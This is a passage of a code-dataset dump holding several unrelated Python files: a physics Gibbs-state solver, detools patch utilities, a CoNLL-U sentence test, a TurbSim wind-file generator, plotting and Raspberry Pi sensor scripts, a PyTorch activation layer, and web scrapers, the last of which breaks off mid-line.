+{"seq_id":"23753213136","text":"import sys\nimport numpy as np \nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager\nfrom matplotlib import rc\nfrom matplotlib.pyplot import cm\nfrom matplotlib.ticker import FormatStrFormatter\nfrom matplotlib.backends.backend_pdf import PdfPages\nimport scipy as sp\nfrom scipy.integrate import solve_ivp\nfrom random import choices\n\ntry:\n    plt.style.use('ggplot')\nexcept:\n    pass\n\n## ================================================\n## Static/Unperturbed system set-up\n\n#Define parameters, potential and vector potential\nm, omega , sigma, delta, Phi =  1., 1., 1., .2, 0.\neps = 0.5\n\nlevelSpace = 0.46638204451990617 # eps = 0.5\nbeta = 0.01/ (levelSpace)\n\nprint(\"T=\", 1/beta)\n\nEd = 0.01\nomegaD = Ed / eps\n\ndef confin(x): \n    left = 20*(1+np.tanh(20*(x-np.pi)))\n    right = 20*(1-np.tanh(20*(x+np.pi)))\n    return left + right\n\ndef V(x):\n    return omega*(1-np.cos(x)) + confin(x)\n\n#Define range of x\nx_max = np.pi\nx_min = -np.pi\ndx = 0.01\nx_range_q = np.append(np.flip(-1*np.arange(0,x_max,dx)), np.arange(0,x_max,dx))\nn_xq = len(x_range_q); \n\n#Define range of p\np_max = 15\np_min = -15\ndp = 0.01\np_range_q = np.arange(p_min,p_max+dp,dp)\nn_pq = len(p_range_q); \nprint(\"n_pq=\",n_pq )\n\n## ================================================\n## Define the function to compute density matrix\n\n## Recall the classical probability distribution: P(x,p) == z[p, x]\n## Now define function, $W$\ndef W(x_i, xi, z): \n    \"\"\"\n    Function that computes and returns the quasi-density matrix, W, for a given x in the P(x,p) and xi. \n    Arguments: \n        x_i : index of x-coordinate, which is also a x-coordinate in z[p_i, x_i]\n        xi : value of xi-coordinate.\n        z : classical probability distribution. \n    \"\"\"\n    w_x = np.sum( np.exp(-1j*p_range_q * xi/eps) * z[:, x_i] )\n    return w_x\n\ndef W_sym(x1, x2, z): \n    \"\"\"\n    Function that computes and returns the quasi-density matrix, W, for a given x in the P(x,p) and xi. \n    Arguments: \n        x1 : x + xi/2\n        x2 : x - xi/2\n        z : classical probability distribution. \n    \"\"\"\n    x = (x1+x2)/2\n    x_i = (np.abs(x_range_q - x)).argmin()\n    w_x = np.sum( np.exp(-1j*p_range_q * (x1-x2)/eps) * z[:, x_i] )\n    return w_x\n    \n    \n## Set up system and functions \n\ndef gibbs(x, p, beta): \n    P = np.exp(-beta * (p*p/(2*m) + omega*(1-np.cos(x))))\n    return P\n\n## ================================================\n## Set up temperature grid and diagonalize \n\ndef compStates(beta_list): \n    \"\"\"\n    Compute, plot, and return the weights from diagonalizing \n    the W-function (of the classical Gibbs distributions at inverse-temp beta)\n    \n    Arguments\n        beta : inverse temperature. \n    \"\"\"\n    w_alph_list = []\n    psi_alph_list = []\n    \n    for beta_i, beta in enumerate(beta_list): \n        printStr = \"Working on \" + str(beta_i) +\" = \"+str(beta)\n        print(printStr)\n        \n        sigma_x = np.sqrt(beta*eps**2 / m)\n        dx = 0.01\n\n        #Define extended range of x1\n        x1_max = np.pi\n        x1_min = -np.pi\n        x1_range_q = np.append(np.flip(-1*np.arange(0,x1_max+dx+5*sigma_x,dx)), np.arange(0,x1_max+dx+5*sigma_x,dx))\n        # x1_range_q = np.arange(x1_min-5*sigma_x,x1_max+5*sigma_x+dx,dx)\n        n_x1q = len(x1_range_q); \n\n        #Define extended range of x2\n        x2_max = np.pi\n        x2_min = -np.pi\n        x2_range_q = np.append(np.flip(-1*np.arange(0,x2_max+dx+5*sigma_x,dx)), np.arange(0,x2_max+dx+5*sigma_x,dx))\n        # x2_range_q = np.arange(x1_min-5*sigma_x,x1_max+5*sigma_x+dx,dx)\n        n_x2q = len(x2_range_q);\n        \n        #Define range of x\n        # Find the x-index where true x-range starts\n        x_max = np.pi\n        x_min = -np.pi\n        x_range_q = np.append(np.flip(-1*np.arange(0,x_max,dx)), np.arange(0,x_max,dx))\n        n_xq = len(x_range_q);\n        found_x_beg = np.where(x1_range_q ==x_range_q[0])[0][0]\n        found_x_end = -1*(found_x_beg)\n        \n        ## Compute the W-function\n        W_mat = np.zeros((n_x1q, n_x2q), dtype=complex)\n        Z_x = np.sum(np.exp(-beta*V(x_range_q)))\n        for x1_i, x1 in enumerate(x1_range_q): \n            for x2_i, x2 in enumerate(x2_range_q):\n                x_x = (x1+x2)/2\n                xi_x = x1-x2\n                W_mat[x1_i, x2_i] = np.exp(-beta*V(x_x))*np.exp(-m*xi_x**2/(2.*eps**2*beta))/Z_x\n\n        ## Diagonalize the W-function\n        w_alph, psi_alph = np.linalg.eigh(W_mat)\n        w_alph_list += [w_alph]\n        psi_alph_list += [psi_alph]\n        \n    return w_alph_list, psi_alph_list\n\n## Call function to diagonalize \n\nparams = sys.argv\nbeta_1 = float(params[1])\n\nbeta_list_wide = np.array([beta_1])  # narrow range of temperatures (despite the var name)\n\nw_alph_wide_list, psi_alph_wide_list = compStates(beta_list_wide)\n\n## Write the weights to a text file\nfilename = \"diagW/JJ_CM_weights_nearMore\" +str(round(beta_1, 6))+ \".txt\"\nlistToStr = ','.join([str(elem) for elem in [m, omega, eps, beta]])\nnp.savetxt(filename, w_alph_wide_list[0], delimiter=',')\n\n## Write the states to a text file\nfilename = \"diagW/JJ_CM_states_nearMore\" +str(round(beta_1, 6))+ \".txt\"\nlistToStr = ','.join([str(elem) for elem in [m, omega, eps, beta]])\nnp.savetxt(filename, psi_alph_wide_list[0], delimiter=',', header=listToStr, comments='#')\n","repo_name":"Tigertenzin/QM-gibbs","sub_path":"CM_Solver_Wdiag_single.py","file_name":"CM_Solver_Wdiag_single.py","file_ext":"py","file_size_in_byte":5270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73357902648","text":"import os\nimport struct\nfrom io import BytesIO\nfrom io import StringIO\nimport difflib\nimport textwrap\nfrom contextlib import redirect_stdout\nfrom ..common import file_read\nfrom ..common import pack_size\nfrom ..common import unpack_size\nfrom ..common import pack_usize\nfrom ..common import unpack_usize\n\n\nclass Blocks(object):\n\n    def __init__(self):\n        self._blocks = []\n\n    def __len__(self):\n        return len(self._blocks)\n\n    def __iter__(self):\n        for block in self._blocks:\n            yield block\n\n    def append(self, from_offset, to_address, values):\n        self._blocks.append((from_offset, to_address, values))\n\n    def to_bytes(self):\n        header = [pack_size(len(self._blocks))]\n        data = []\n\n        for from_offset, to_address, values in self._blocks:\n            header.append(pack_size(from_offset))\n            header.append(pack_size(to_address))\n            header.append(pack_size(len(values)))\n\n        for from_offset, to_address, values in self._blocks:\n            data.extend([pack_size(value) for value in values])\n\n        return b''.join(header), b''.join(data)\n\n    @staticmethod\n    def unpack_header(fpatch):\n        header = []\n        number_of_blocks = unpack_size(fpatch)\n\n        for _ in range(number_of_blocks):\n            from_offset = unpack_size(fpatch)\n            to_address = unpack_size(fpatch)\n            number_of_values = unpack_size(fpatch)\n            header.append((from_offset, to_address, number_of_values))\n\n        return header\n\n    @classmethod\n    def from_fpatch(cls, header, fpatch):\n        blocks = cls()\n\n        for from_offset, to_address, number_of_values in header:\n            values = [unpack_size(fpatch) for _ in range(number_of_values)]\n            blocks.append(from_offset, to_address, values)\n\n        return blocks\n\n    def __repr__(self):\n        fout = StringIO()\n\n        with redirect_stdout(fout):\n            blocks = []\n\n            for from_offset, to_address, values in self._blocks:\n                blocks.append(\n                    'Block(from_offset={}, to_address={}, '\n                    'number_of_values={})'.format(\n                        from_offset,\n                        to_address,\n                        len(values)))\n\n            print(\n                'Blocks(number_of_blocks={}, blocks=[{}])'.format(\n                    len(self._blocks),\n                    ', '.join(blocks)),\n                end='')\n\n        return fout.getvalue()\n\n\nclass DiffReader(object):\n\n    def __init__(self, ffrom, to_size):\n        self._ffrom = ffrom\n        # ToDo: Calculate in read() for less memory usage.\n        self._fdiff = BytesIO(b'\\x00' * to_size)\n\n    def read(self, size=-1):\n        return self._fdiff.read(size)\n\n    def _write_values_to_to_with_callback(self, blocks, from_dict, pack_callback):\n        from_sorted = sorted(from_dict.items())\n\n        for from_offset, to_address, values in blocks:\n            from_address_base = from_sorted[from_offset][0]\n\n            for i, value in enumerate(values):\n                from_address, from_value = from_sorted[from_offset + i]\n                self._fdiff.seek(to_address + from_address - from_address_base)\n                self._fdiff.write(pack_callback(from_value - value))\n\n    def _write_s32_values_to_to(self, blocks, from_dict):\n        self._write_values_to_to_with_callback(blocks,\n                                               from_dict,\n                                               self._pack_s32)\n\n    def _write_u64_values_to_to(self, blocks, from_dict):\n        self._write_values_to_to_with_callback(blocks,\n                                               from_dict,\n                                               self._pack_u64)\n\n    def _pack_s32(self, value):\n        return struct.pack('<i', value)\n\n    def _pack_u64(self, value):\n        return struct.pack('<Q', value)\n\n\nclass FromReader(object):\n\n    def __init__(self, ffrom):\n        # ToDo: Calculate in read() for less memory usage.\n        self._ffrom = BytesIO(file_read(ffrom))\n\n    def read(self, size=-1):\n        return self._ffrom.read(size)\n\n    def seek(self, position, whence=os.SEEK_SET):\n        self._ffrom.seek(position, whence)\n\n    def _write_zeros_to_from(self, blocks, from_dict, overwrite_size=4):\n        from_sorted = sorted(from_dict.items())\n\n        for from_offset, _, values in blocks:\n            for i in range(len(values)):\n                from_address = from_sorted[from_offset + i][0]\n                self._ffrom.seek(from_address)\n                self._ffrom.write(overwrite_size * b'\\x00')\n\n\ndef get_matching_blocks(from_addresses, to_addresses):\n    \"\"\"Returns matching blocks based on address differences.\n\n    \"\"\"\n\n    from_offsets = []\n    to_offsets = []\n\n    for i in range(len(from_addresses) - 1):\n        from_offsets.append(from_addresses[i + 1] - from_addresses[i])\n\n    for i in range(len(to_addresses) - 1):\n        to_offsets.append(to_addresses[i + 1] - to_addresses[i])\n\n    sm = difflib.SequenceMatcher(None, from_offsets, to_offsets)\n\n    return sm.get_matching_blocks()[:-1]\n\n\ndef create_patch_block(ffrom, fto, from_dict, to_dict, overwrite_size=4):\n    \"\"\"Returns a bytes object of blocks.\n\n    \"\"\"\n\n    blocks = Blocks()\n\n    if not from_dict or not to_dict:\n        return blocks.to_bytes()\n\n    from_sorted = sorted(from_dict.items())\n    to_sorted = sorted(to_dict.items())\n    from_addresses, from_values = zip(*from_sorted)\n    to_addresses, to_values = zip(*to_sorted)\n    matching_blocks = get_matching_blocks(from_addresses, to_addresses)\n\n    for from_offset, to_offset, size in matching_blocks:\n        # Skip small blocks as the block overhead is too big.\n        if size < 8:\n            continue\n\n        size += 1\n        from_slice = from_values[from_offset:from_offset + size]\n        to_slice = to_values[to_offset:to_offset + size]\n        diffs = [fv - tv for fv, tv in zip(from_slice, to_slice)]\n\n        # Skip similar blocks as the block overhead is too big.\n        number_of_non_zero_elements = len(diffs) - diffs.count(0)\n\n        if number_of_non_zero_elements < 8:\n            continue\n\n        blocks.append(from_offset,\n                      to_addresses[to_offset],\n                      diffs)\n\n        # Overwrite blocks with zeros.\n        for address in from_addresses[from_offset:from_offset + size]:\n            ffrom.seek(address)\n            ffrom.write(overwrite_size * b'\\x00')\n\n        for address in to_addresses[to_offset:to_offset + size]:\n            fto.seek(address)\n            fto.write(overwrite_size * b'\\x00')\n\n    return blocks.to_bytes()\n\n\ndef load_blocks(header, fpatch):\n    position = fpatch.tell()\n    blocks = Blocks.from_fpatch(header, fpatch)\n    blocks_size = fpatch.tell() - position\n\n    return blocks, blocks_size\n\n\ndef format_blocks(blocks, blocks_size, fsize):\n    print('Number of blocks:   {}'.format(len(blocks)))\n    print('Size:               {}'.format(fsize(blocks_size)))\n    print()\n\n    for i, (from_offset, to_address, values) in enumerate(blocks):\n        print('------------------- Block {} -------------------'.format(i + 1))\n        print()\n        print('From offset:        {}'.format(from_offset))\n        print('To address:         0x{:x}'.format(to_address))\n        print('Number of values:   {}'.format(len(values)))\n        print('Values:')\n        lines = textwrap.wrap(' '.join([str(value) for value in values]))\n        lines = ['  ' + line for line in lines]\n        print('\\n'.join(lines))\n        print()\n\n\ndef format_instruction(name, blocks, blocks_size, fsize):\n    print('Instruction:        {}'.format(name))\n    format_blocks(blocks, blocks_size, fsize)\n\n\ndef format_pointers(data_pointers_blocks_present,\n                    from_data_offset,\n                    from_data_begin,\n                    from_data_end,\n                    data_pointers_blocks,\n                    data_pointers_blocks_size,\n                    code_pointers_blocks_present,\n                    from_code_begin,\n                    from_code_end,\n                    code_pointers_blocks,\n                    code_pointers_blocks_size,\n                    fsize):\n    if data_pointers_blocks_present:\n        print('Kind:               data-pointers')\n        print('From data offset:   0x{:x}'.format(from_data_offset))\n        print('From data begin:    0x{:x}'.format(from_data_begin))\n        print('From data end:      0x{:x}'.format(from_data_end))\n        format_blocks(data_pointers_blocks,\n                      data_pointers_blocks_size,\n                      fsize)\n\n    if code_pointers_blocks_present:\n        print('Kind:               code-pointers')\n        print('From code begin:    0x{:x}'.format(from_code_begin))\n        print('From code end:      0x{:x}'.format(from_code_end))\n        format_blocks(code_pointers_blocks,\n                      code_pointers_blocks_size,\n                      fsize)\n\n\ndef create_data_pointers_patch_block(ffrom,\n                                     fto,\n                                     from_data_offset,\n                                     from_data_begin,\n                                     from_data_end,\n                                     from_data_pointers,\n                                     to_data_pointers,\n                                     overwrite_size=4):\n    if from_data_end == 0:\n        header = b'\\x00'\n        data_pointers = (b'', b'')\n    else:\n        header = b'\\x01'\n        header += pack_usize(from_data_offset)\n        header += pack_usize(from_data_begin)\n        header += pack_usize(from_data_end)\n        data_pointers = create_patch_block(ffrom,\n                                           fto,\n                                           from_data_pointers,\n                                           to_data_pointers,\n                                           overwrite_size)\n\n    return header, data_pointers\n\n\ndef create_code_pointers_patch_block(ffrom,\n                                     fto,\n                                     from_code_begin,\n                                     from_code_end,\n                                     from_code_pointers,\n                                     to_code_pointers,\n                                     overwrite_size=4):\n    if from_code_end == 0:\n        header = b'\\x00'\n        code_pointers = (b'', b'')\n    else:\n        header = b'\\x01'\n        header += pack_usize(from_code_begin)\n        header += pack_usize(from_code_end)\n        code_pointers = create_patch_block(ffrom,\n                                           fto,\n                                           from_code_pointers,\n                                           to_code_pointers,\n                                           overwrite_size)\n\n    return header, code_pointers\n\n\ndef unpack_pointers_header(fpatch):\n    data_pointers_blocks_present = (fpatch.read(1) == b'\\x01')\n\n    if data_pointers_blocks_present:\n        from_data_offset = unpack_usize(fpatch)\n        from_data_begin = unpack_usize(fpatch)\n        from_data_end = unpack_usize(fpatch)\n    else:\n        from_data_offset = 0\n        from_data_begin = 0\n        from_data_end = 0\n\n    code_pointers_blocks_present = (fpatch.read(1) == b'\\x01')\n\n    if code_pointers_blocks_present:\n        from_code_begin = unpack_usize(fpatch)\n        from_code_end = unpack_usize(fpatch)\n    else:\n        from_code_begin = 0\n        from_code_end = 0\n\n    if data_pointers_blocks_present:\n        data_pointers_header = Blocks.unpack_header(fpatch)\n    else:\n        data_pointers_header = None\n\n    if code_pointers_blocks_present:\n        code_pointers_header = Blocks.unpack_header(fpatch)\n    else:\n        code_pointers_header = None\n\n    return (data_pointers_blocks_present,\n            code_pointers_blocks_present,\n            data_pointers_header,\n            code_pointers_header,\n            from_data_offset,\n            from_data_begin,\n            from_data_end,\n            from_code_begin,\n            from_code_end)\n\n\ndef unpack_pointers_blocks_with_length(fpatch,\n                                       data_pointers_blocks_present,\n                                       code_pointers_blocks_present,\n                                       data_pointers_header,\n                                       code_pointers_header):\n    if data_pointers_blocks_present:\n        data_pointers_blocks, data_pointers_blocks_size = load_blocks(\n            data_pointers_header,\n            fpatch)\n    else:\n        data_pointers_blocks = Blocks()\n        data_pointers_blocks_size = 0\n\n    if code_pointers_blocks_present:\n        code_pointers_blocks, code_pointers_blocks_size = load_blocks(\n            code_pointers_header,\n            fpatch)\n    else:\n        code_pointers_blocks = Blocks()\n        code_pointers_blocks_size = 0\n\n    return (data_pointers_blocks,\n            data_pointers_blocks_size,\n            code_pointers_blocks,\n            code_pointers_blocks_size)\n\n\ndef unpack_pointers_blocks(fpatch,\n                           data_pointers_blocks_present,\n                           code_pointers_blocks_present,\n                           data_pointers_header,\n                           code_pointers_header):\n    (data_pointers_blocks,\n     _,\n     code_pointers_blocks,\n     _) = unpack_pointers_blocks_with_length(\n         fpatch,\n         data_pointers_blocks_present,\n         code_pointers_blocks_present,\n         data_pointers_header,\n         code_pointers_header)\n\n    return data_pointers_blocks, code_pointers_blocks\n","repo_name":"eerimoq/detools","sub_path":"detools/data_format/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13542,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"77"}
+{"seq_id":"42322162019","text":"# -*- coding: utf-8 -*-\nfrom pyconllu.Sentence import Sentence\nfrom pyconllu.Token import Token\n\n\ndef test_sentence(parsed_sentence_from_string):\n    sentence = Sentence(\n        comments=\"# sent-id = 1\\n# A cidade.\",\n        tokens=[\n            Token(id=\"1\", form=\"A\", lemma=\"o\", upostag=\"DET\", xpostag=\"DET\",\n                  feats=None, head=2, deprel=\"det\", deps=None, misc=None),\n            Token(id=\"2\", form=\"cidade\", lemma=\"cidade\", upostag=\"NOUN\",\n                  xpostag=\"NOUN\", feats=None, head=0, deprel=\"root\",\n                  deps=None, misc=None),\n            Token(id=\"3\", form=\".\", lemma=\".\", upostag=\"PUNCT\", xpostag=\".\",\n                  feats=None, head=2, deprel=\"punct\", deps=None, misc=None),\n        ],\n    )\n\n    assert (sentence.contractions == [] and\n            sentence.empty_nodes == [] and\n            sentence.tokens == [\n                Token(\n                    id=\"1\", form=\"A\", lemma=\"o\", upostag=\"DET\", xpostag=\"DET\",\n                    feats=None, head=2, deprel=\"det\", deps=None, misc=None\n                ),\n                Token(\n                    id=\"2\", form=\"cidade\", lemma=\"cidade\", upostag=\"NOUN\",\n                    xpostag=\"NOUN\", feats=None, head=0, deprel=\"root\",\n                    deps=None, misc=None\n                ),\n                Token(\n                    id=\"3\", form=\".\", lemma=\".\", upostag=\"PUNCT\", xpostag=\".\",\n                    feats=None, head=2, deprel=\"punct\", deps=None, misc=None\n                ),\n            ] and\n            sentence.comments == \"# sent-id = 1\\n# A cidade.\")\n\n\ndef test_empty_sentence():\n    empty_sentence = Sentence()\n\n    assert (empty_sentence.comments == \"\" and\n            empty_sentence.tokens == [] and\n            empty_sentence.contractions == [] and\n            empty_sentence.empty_nodes == [])\n","repo_name":"social-datalab/pyconllu","sub_path":"pyconllu/tests/test_sentence.py","file_name":"test_sentence.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14351490909","text":"\n# Python modules\nimport yaml, os \nimport shutil\nimport numpy as np\nimport random\n# ROSCO toolbox modules \n# from ROSCO_toolbox import turbine as ROSCO_turbine\n# from ROSCO_toolbox.utilities import write_rotor_performance\n# from ROSCO_toolbox.inputs.validation import load_rosco_yaml\n# def run_turbsim(exe_dir,turbsim_filedir,turbsim_template_filename,mean_windspeed,analysis_time_sec,generate_new_seed=False,random_num=1501552846):\n#   []\nfile_dir= os.path.abspath('')\n\nweis_main_path = '/Users/egrant/Desktop/WEIS_Things/WEIS/'\nexe_dir=weis_main_path + 'local/bin/'\n# exe_dir='/Users/egrant/Desktop/WEIS_Things/WEIS/local/bin/openfast'\n# file_dir='/Users/egrant/Desktop/WEIS_Things/WEIS/openfast_runs/WEIS_Job_ESG/'\nfile_dir='/Users/egrant/Desktop/WEIS_Things/WEIS/openfast_runs/AutoTurb/'\nopenfast_filedir='/Users/egrant/Desktop/WEIS_Things/WEIS/openfast_runs/WEIS_Job_ESG/'\nturbsim_filedir=weis_main_path + 'openfast_runs/wind/'\n\nturbsim_output_dir = weis_main_path + 'openfast_runs/wind/'\nopenfast_inputfiledir = weis_main_path + 'OpenFAST_Files/'\nopenfast_outputdir = weis_main_path + 'Results/'\n# template_dir = weis_main_path + 'AutoTurb/'\ntemplate_dir = file_dir #weis_main_path + 'AutoTurb/'\n\nturbsim_template_filename = 'turbsim_template.in'\ninflow_template_filename = 'inflow_template.dat'\nmodel_template_filename = 'model_template.fst'\n\nrun_turbsim=True\n# turbsim_params = ['RandSeed1','AnalysisTime','HubHt','URef']\n# turbsim_vals = ['1501552846','700','120',str(windspd)]\n# turbsim_dict = dict(zip(turbsim_params,turbsim_vals))\ninflow_params = ['WindType','FileName_BTS']\nmodel_params = ['TMax','InflowFile']\n# winds=np.arange(3,26,1)\nwinds=np.arange(8,10,1)\nos.chdir(file_dir)\nfor windspd in winds:\n  randseed=12345678#1501552846\n  tb_time = 708\n  huht= 120 #DOUBLE CHECK\n  turbsim_params = [' RandSeed1 ',' AnalysisTime ',' HubHt ',' URef ']\n  turbsim_vals = [str(randseed),str(tb_time),str(huht),str(windspd)]\n  turbsim_dict = dict(zip(turbsim_params,turbsim_vals))\n\n  turb_ipt_newname='TurbSim_U{}_Seed{}_Time{}.in'.format(windspd,randseed,tb_time) \n  shutil.copyfile(template_dir  + turbsim_template_filename,turbsim_output_dir+turb_ipt_newname)\n  turb_handle=open(template_dir  + turbsim_template_filename,'r')\n  turb_content=turb_handle.read()\n  with open(template_dir  + turbsim_template_filename,'r') as read_turb:\n    turb_lines=read_turb.readlines()\n  for tbi,tb_param in enumerate(turbsim_params):\n    tb_lineIdx=[line_i for line_i,line in enumerate(turb_lines) if tb_param in line]\n    tb_line=[line for line in turb_lines if tb_param in line]\n    tb_newline = tb_line[0]\n    # idx_end = tb_line[0].find(' ' + tb_param)\n    idx_end = tb_line[0].find(' ')\n    tb_newline=tb_newline.replace(tb_newline[0:idx_end+1],turbsim_vals[tbi])\n    turb_content=turb_content.replace(tb_line[0],tb_newline)\n\n  \n  # turb_content=turb_content.replace(old_str,newstr)\n  turb_handle.close()\n  turb_write=open(turbsim_output_dir+turb_ipt_newname,\"w\")\n  turb_write.write(turb_content)\n  turb_write.close()\n  read_turb.close()\n\n  if run_turbsim:\n    cmd = exe_dir + 'turbsim ' + turbsim_output_dir + turb_ipt_newname\n    os.system(cmd)\n    # shutil.move(file_dir+'TurbSim_U{}_Seed{}_Time{}.bts'.format(windspd,randseed,tb_time) ,turbsim_output_dir  +'TurbSim_U{}_Seed{}_Time{}.bts'.format(windspd,randseed,tb_time) )\n    []\n\n\n  \n\n\n#   new_iflow='InflowFile_U{}.dat'.format(windspd)\n#   shutil.copyfile(template_dir  + inflow_template_filename,openfast_inputfiledir+new_iflow)\n#   new_fst='weis_job_0_model_U{}.fst'.format(windspd)\n#   shutil.copyfile(file_dir + 'weis_job_0.fst',file_dir+new_fst)\n#   # with open (file_dir + new_iflow,\"a+\") as iflow_w:\n#   with open(file_dir + 'weis_job_0_InflowFile.dat','r') as iflw_r:\n#     og_iflw=iflw_r.readlines()\n#   []\n#   with open (file_dir + 'weis_job_0.fst','r') as fst_r:\n#     og_fst=fst_r.readlines()\n#   old_str=og_iflw[12]\n#   newstr=old_str\n#   old_str_fst=og_fst[36]\n#   newstr_fst=old_str_fst\n#   idx_end=old_str_fst.find('\" InflowFile')\n#   newstr_fst=newstr_fst.replace(newstr_fst[0:idx_end+1],'\"' + new_iflow+'\"')\n#   #newstr[0:2]=str(windspd)\n#   newstr=newstr.replace(newstr[0],str(windspd))\n#   fst_handle=open(file_dir + 'weis_job_0.fst','r')\n#   fst_content=fst_handle.read()\n#   fst_content=fst_content.replace(old_str_fst,newstr_fst)\n#   fst_handle.close()\n#   fst_w=open(file_dir + new_fst,\"w\")\n#   fst_w.write(fst_content)\n#   fst_w.close()\n\n#   inflow_handle=open(file_dir + 'weis_job_0_InflowFile.dat','r')\n#   content=inflow_handle.read()\n#   content=content.replace(old_str,newstr)\n#   inflow_handle.close()\n#   iflow_w=open(file_dir + new_iflow,\"w\")\n#   iflow_w.write(content)\n#   iflow_w.close()\n#   iflw_r.close()\n#   fst_r.close()\n#   []\n#   cmd=exe_dir + ' ' + new_fst\n#   os.system(cmd)\n#   shutil.move(file_dir+'weis_job_0_model_U{}.out'.format(windspd),file_dir + \"Outputs/\"+'weis_job_0_model_U{}.out'.format(windspd))\n#   print(\"Done with {} m/s\".format(windspd))\n#   []\n# []\n# #fst_file=\n","repo_name":"nRiccobo/WindH2","sub_path":"examples/auto_turb.py","file_name":"auto_turb.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19642309340","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# matplotlib官网：https://matplotlib.org/\n\nimport matplotlib.pyplot as plt\n\nx_values = list(range(1, 1000))\ny_values = [x**2 for x in x_values]      # 计算平方值\n\n# 设置标题\nplt.title('Square Demo', fontsize=24)\n# 设置坐标轴标签\nplt.xlabel('X+', fontsize=14)\nplt.ylabel('Y+', fontsize=14)\n\n# 设置刻度标记的大小\n#plt.tick_params(axis='both', labelsize=14)\n\n# 设置每个坐标轴的取值范围\n# 前两个参数为x的取值范围，后两个参数为y的取值范围\nplt.axis([0,100, 0,10000])\n\n# 绘制点(x位置，y位置，点的颜色,线条宽度)\nplt.scatter(x_values, y_values, c='red', s=1)\n\n# 绘制图形，并设定线条的粗细\n#plt.plot(x_values, y_values - 100, linewidth=1)\n\n# 打开matplotlib查看器，并显示绘制图形\nplt.show()\n\n'''\n若将程序图标保存到文件中，可将show替换为savafig\n第一个参数表示保存的文件名\n第二个参数表示是否将图标多余的空白区域剪切掉\nplt.savefig('mpl_squares.png',bbox_inches='tight')\n'''\n","repo_name":"wangxuhe/Python","sub_path":"_mpl/mpl_squares.py","file_name":"mpl_squares.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26680845047","text":"#!/usr/bin/python3\n# coding=utf-8\n# Auslesen des Hallsensor und Hall Mini\n# ADC Channes:\n#               0 .. Strom\n#               1 .. Druck\n#               2 .. Hall\n\nimport Adafruit_ADS1x15\nimport time\nimport RPi.GPIO as GPIO\n\n# We will be using the BCM GPIO numbering\nGPIO.setmode(GPIO.BCM)\n\n# Select a control GPIO\nGPIO_HALL = 26\nGPIO_HALL_MINI = 16\n\n# Set CONTROL to INPUT mode\nGPIO.setup(GPIO_HALL, GPIO.IN)\nGPIO.setup(GPIO_HALL_MINI, GPIO.IN)\n\n\nadc = Adafruit_ADS1x15.ADS1115() # Create an ADS1115 ADC (16-bit) instance\nGAIN = 2/3\n\n\nprint('[press ctrl+c to end the script]') \ntry: # Main program loop\n    while True:\n        values = adc.read_adc(2, gain=GAIN) # Read the ADC channel 2 value    \n        print (\"Hall-Analog=%6.0f\" % values, \"HALL-DI:\",GPIO.input(GPIO_HALL), \"HALLmini-DI:\",GPIO.input(GPIO_HALL_MINI))\n        time.sleep(0.5)\n\n# Scavenging work after the end of the program\nexcept KeyboardInterrupt:\n    print('Script end!')\n    GPIO.cleanup()\n","repo_name":"HelWim/pi","sub_path":"Hall.py","file_name":"Hall.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33420596939","text":"from bs4 import BeautifulSoup\nimport urllib.request\n\nsauce = urllib.request.urlopen(\n    'https://223-164523871-gh.circle-artifacts.com/0/home/circleci/app/src/main/kotlin/app/build/reports/lint-results-debug.html').read()\n\n# Making source code into a Beautiful soup object\nsoup: BeautifulSoup = BeautifulSoup(sauce, 'lxml')\nsoup.prettify() #formatter\n\ndef match_class(target):\n    def do_match(tag):\n        classes = tag.get('class', [])\n        return all(c in classes for c in target)\n\n    return do_match\n\nspoon = soup.find_all(match_class([\"issueColumn\"]))\nprint(spoon)\n","repo_name":"heyhellomila/xena-camera-390","sub_path":"BeautifulSoupAnalysisCI/analysisCI_LintReport.py","file_name":"analysisCI_LintReport.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"24131881751","text":"import torch\nimport torch.nn as nn\n\nclass ModReLU(nn.Module):\n    def __init__(self, n):\n        super(ModReLU, self).__init__()\n        self.bias = nn.Parameter(torch.zeros(n))\n        self.bias.requires_grad = True\n\n    def forward(self, x):\n        magnitude = torch.abs(x)\n        phase = x / (magnitude + 1e-9)\n        relu = nn.ReLU()\n        magnitude = relu(magnitude + self.bias.view(-1, 1))\n\n        return magnitude * phase\n","repo_name":"Satyam52/CS772","sub_path":"activations/modRelu.py","file_name":"modRelu.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13354200378","text":"#!/usr/bin/env python3\nfrom __future__ import print_function\nimport string\nimport os\nimport sys\nimport argparse\nfrom hashlib import md5\n\ntry:\n    import requests\n    from bs4 import BeautifulSoup\nexcept ImportError:\n    print(\"Please install bs4 and requests.\\n\\n $ pip install beautifulsoup4 requests\\n\")\n    exit(1)\n\nbaseurl=\"http://www.progressivelabs.com\"\n\nALLPRODUCTS = {}\n\nCACHEBASE=\"cache/\"\n\nLETTERS=[letter for letter in string.ascii_uppercase]\nPCOUNTS=[3,3,4,2,1,1,3,1,2,0,1,2,3,1,2,4,1,1,1,2,1,1,1,0,0,1]\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--write', action='store_true')\nparser.add_argument('--verbose', action='store_true')\nargs = parser.parse_args()\n\n\ndef cachepg(basename, link):\n    pg = CACHEBASE+basename+md5(link.encode()).hexdigest()+\".html\"\n    try:\n        os.stat(pg)\n    except OSError:\n        print(\" -caching\",pg)\n        f = open(pg, 'w')\n        s = requests.get(link).text\n        f.write(s)\n        f.close()\n    return pg\n\ndef sancsv(string):\n    return string.translate({ord(','):None, ord('\\n'):None, 